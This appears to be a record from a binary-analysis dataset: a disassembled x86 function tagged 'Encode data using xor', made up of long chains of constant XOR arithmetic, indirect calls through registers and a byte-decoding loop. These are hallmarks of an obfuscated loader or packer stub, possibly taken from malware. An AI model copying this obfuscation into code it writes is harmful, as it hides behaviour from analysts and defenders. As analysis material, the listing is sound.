Function at 0x405d73
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push ebx
mov dword [ebp - 4], eax
mov eax, 0x13
cmp cl, 0
jne 0x405d6b
mov eax, dword [ebp + 0xc]
cmp eax, 2
jge 0x405d61
mov eax, 2
cmp eax, 0x12
jle 0x405d6b
mov eax, 0x12
mov dword [ebp + 0xc], eax
push eax
mov eax, 0xbb00270f
invd
mov byte [0x2480ba0d], al
sbb al, 0x50
xor ebx, edx
mov edx, 0xdc9a3f
xor ebx, edx
xor ebx, 0x5d2226b0
mov edx, 0x1ea6782b
mov ecx, 0x549cc960
xor ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x4a3af023
and ecx, 0xb5c50fdc
or ecx, edx
xor ebx, ecx
mov edx, 0
xor edx, ebx
push edx
pop ecx
sub ecx, 0x3c
mov eax, dword [ecx + 0x3c]
push 0x1ffccc2e
mov edi, 0x34ef627f
pop ebx
xor edi, ebx
push edi
push 0x13f6089c
mov ecx, 0x38e5a6cd
pop edi
xor ecx, edi
pop esi
xor ecx, esi
mov edx, 0x3cefc93b
xor edx, 0x6728751b
mov ebx, edx
xor ebx, 0xffffffff
and ebx, 0x5bc7bc20
and edx, 0xa43843df
or edx, ebx
xor ecx, edx
mov esi, ecx
mov edi, esi
push edi
mov ebx, 0x1fca5145
xor ebx, 0x1fca5145
xor ebx, esp
mov ecx, 0x5c11f14
mov edx, 0xfa3ee0e8
xor ecx, edx
add esp, ecx
mov dword [esp], ebx
push 0x42500c86
mov edx, 0x2d04cb6
pop edi
xor edx, edi
mov edi, 0x3d61e92b
mov esi, 0x31256a2f
xor esi, edi
xor edx, esi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], edx
push 0x790e8147
mov ebx, 0x3dce4267
pop esi
xor ebx, esi
mov edx, 0x54
mov esi, 0x8040000
xor edx, esi
xor ebx, edx
pop ecx
xor ebx, ecx
xor edx, edx
add edx, ebx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], edx
mov esi, 0x52e0ffdf
mov ebx, 0x419d493b
xor ebx, esi
mov ecx, 0x379516d5
xor ebx, ecx
push 0x78ba44ba
mov ecx, 0x4073c58b
pop edx
xor ecx, edx
xor ebx, ecx
mov edx, 0x1c21bf00
xor ebx, edx
push ebx
pop ecx
mov edx, ecx
push edx
push 0x41953fc1
mov esi, 0x7dd7f7d2
pop edi
xor esi, edi
mov edx, 0x794601a9
xor edx, 0x4544c9ba
xor edx, esi
mov ebx, 0
mov esi, 0x1000
xor ebx, esi
mov ecx, 0
mov esi, 0
xor ecx, esi
xor ebx, ecx
xor edx, ebx
add esp, 0xfffffffc
mov edi, 0
xor edi, esp
mov dword [edi], edx
call eax
pop edi
mov ecx, 0x448b9402
xor ecx, 0x74a7726f
push ecx
mov esi, 0x2c38e001
mov eax, 0x12031c02
xor esi, eax
pop edi
xor esi, edi
mov edx, 0x54ebb28d
xor edx, 0x4b2870cf
mov ecx, 0x11d4db09
xor edx, ecx
xor edx, esi
push 0x50883bf8
mov edi, 0x6f47071
pop eax
xor edi, eax
mov esi, 0x232fc66d
xor edi, esi
xor edi, 0x7262ff7a
push 0x2c2a0eee
mov esi, 0x4c2437f3
pop eax
xor esi, eax
mov ecx, 0x68561832
xor ecx, 0xf293697
xor ecx, esi
xor ecx, edi
mov edi, 0x66542775
mov esi, 0x66542f75
xor esi, edi
mov eax, 0x8008
mov edi, 0x400000
xor eax, edi
xor esi, eax
mov ebx, 0
mov edi, 3
xor ebx, edi
mov eax, 0x7d499a27
xor eax, 0x7d499e83
xor ebx, eax
xor esi, ebx
mov edi, 0xdf2ffce
xor edi, 0xdf2ffce
xor edi, edx
mov eax, 0x1b438463
mov ebx, 0xe4bc7b9f
xor ebx, eax
add esp, ebx
mov dword [esp], edi
xor edi, edi
add edi, esi
push edi
pop eax
mov ebx, eax
add esp, 0xfffffffc
mov dword [esp], ebx
xor edx, edx
mov dl, byte [ecx]
add esi, edx
mov dl, byte [esi]
mov eax, 0x70bfb2d0
mov edi, 0x14ffb3e2
xor edi, eax
mov ebx, 0x4102060
mov eax, 0x144d418
xor ebx, eax
mov eax, 0x88ed332e
xor ebx, eax
xor ebx, 0x1db1c7d3
xor edi, ebx
xor ebx, ebx
add ebx, esi
sub ebx, 0
je 0x405f7b
pop esi
mov byte [ecx], dl
mov edi, 0x122bec50
mov ebx, 0xedd413af
xor edi, ebx
add ecx, edi
pop edx
push 0x7fcc541d
mov eax, 0x43b050cb
pop edi
xor eax, edi
mov edi, 0x3c7c04d7
xor eax, edi
sub edx, eax
mov edi, edx
add edi, edx
jne 0x405f7b
mov edi, 0x4600604
mov edx, 0x2005003
xor edi, edx
mov eax, 0x23689826
mov ebx, 0x6a6fb826
xor ebx, eax
xor edi, ebx
mov esi, 0x58a3599
mov ebx, 0x4aad219c
xor ebx, esi
xor edi, ebx
call edi
pop esi
pop esi
ret